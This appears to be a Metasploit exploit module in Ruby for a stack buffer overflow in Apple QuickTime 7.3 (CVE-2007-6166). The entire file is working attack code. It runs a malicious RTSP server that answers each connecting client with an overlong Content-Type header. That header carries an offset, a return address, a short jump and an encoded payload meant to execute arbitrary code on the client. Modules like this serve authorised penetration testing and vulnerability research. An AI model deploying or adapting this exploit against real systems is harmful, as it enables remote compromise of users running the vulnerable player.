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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
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        RTSP response to a client, an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2007-6166' ],
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          [ 'OSVDB', '40876' ],
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          [ 'BID', '26549' ],
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          [ 'EDB', '4648' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 700,
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          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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          'MaxNops'  => 0,
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2007-11-23',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
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      ])
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    client.get_once
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    buffer =  rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
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    buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)
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    strname = rand_text_alpha(rand(75) + 1)
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    date    = Time.now
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    num     = rand(1).to_s
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    header =  "RTSP/1.0 200 OK\r\n"
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    header << "CSeq: 1\r\n"
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    header << "Date: #{date}\r\n"
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    header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
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    header << "Content-Type: #{buffer}\r\n"
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    header << "Content-Length: #{strname.length}\r\n\r\n"
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    body =  "v=#{num}\r\n"
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    body << "o=#{strname}\r\n"
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    body << "s=#{strname}\r\n"
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    body << "i=#{strname}\r\n"
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    body << "t=#{num}\r\n"
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    body << "a=tool:#{strname}\r\n"
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    body << "a=type:#{strname}\r\n"
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    body << "a=control:#{strname}\r\n"
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    body << "a=range:#{strname}\r\n"
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    body << "a=x-qt-text-nam:#{strname}\r\n"
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    body << "a=x-qt-text-inf:#{strname}\r\n"
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    body << "m=#{strname}\r\n"
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    body << "c=#{strname}\r\n"
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    body << "a=control:#{strname}\r\n"
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    sploit = header + body
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    print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
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    client.put(sploit)
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    handler(client)
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    service.close_client(client)
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  end
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end
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